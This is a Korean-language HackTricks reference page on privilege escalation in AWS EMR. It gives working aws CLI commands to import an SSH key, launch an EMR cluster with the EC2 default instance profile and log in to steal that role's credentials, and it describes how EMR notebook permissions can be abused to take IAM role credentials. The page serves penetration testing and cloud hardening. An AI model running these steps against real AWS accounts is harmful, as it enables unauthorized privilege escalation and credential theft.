AWS - EMR Privesc

HackTricks 지원

EMR

EMR에 대한 자세한 정보는 다음에서 확인할 수 있습니다:

AWS - EMR Enum

iam:PassRole, elasticmapreduce:RunJobFlow

이 권한을 가진 공격자는 새 EMR 클러스터를 실행하고 EC2 역할을 연결하여 자격 증명을 탈취할 수 있습니다. 이를 수행하려면 계정에 가져온 일부 ssh 개인 키를 알고 있거나 가져와야 하며, 마스터 노드에서 포트 22을 열 수 있어야 합니다 (--ec2-attributes 내부의 EmrManagedMasterSecurityGroup 및/또는 ServiceAccessSecurityGroup 속성을 사용하여 수행할 수 있을 수 있습니다).

# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key


aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc

# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances

참고로 EMR 역할--service-role에서 지정되고 ec2 역할InstanceProfile 내부의 --ec2-attributes에서 지정됩니다. 그러나 이 기술은 EC2 역할 자격 증명을 도용할 수 있지만 (SSH를 통해 연결할 수 있음) EMR IAM 역할은 도용할 수 없습니다.

잠재적인 영향: 지정된 EC2 서비스 역할로의 권한 상승.

elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole

이러한 권한을 가진 공격자는 AWS 콘솔로 이동하여 노트북을 생성하고 해당 노트북에 액세스하여 IAM 역할을 도용할 수 있습니다.

노트북 인스턴스에 IAM 역할을 부여해도 제 테스트에서 AWS 관리 자격 증명을 도용할 수 있었지만 IAM 역할 관련 자격 증명을 도용할 수 없었습니다.

잠재적인 영향: arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile로의 AWS 관리 역할 권한 상승

elasticmapreduce:OpenEditorInConsole

이 권한만으로도 공격자는 Jupyter Notebook에 액세스하여 연결된 IAM 역할을 도용할 수 있습니다. 노트북의 URL은 https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/입니다.

노트북 인스턴스에 IAM 역할을 부여해도 제 테스트에서 AWS 관리 자격 증명을 도용할 수 있었지만 IAM 역할 관련 자격 증명을 도용할 수 없었습니다.

잠재적인 영향: arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile로의 AWS 관리 역할 권한 상승

HackTricks 지원

Last updated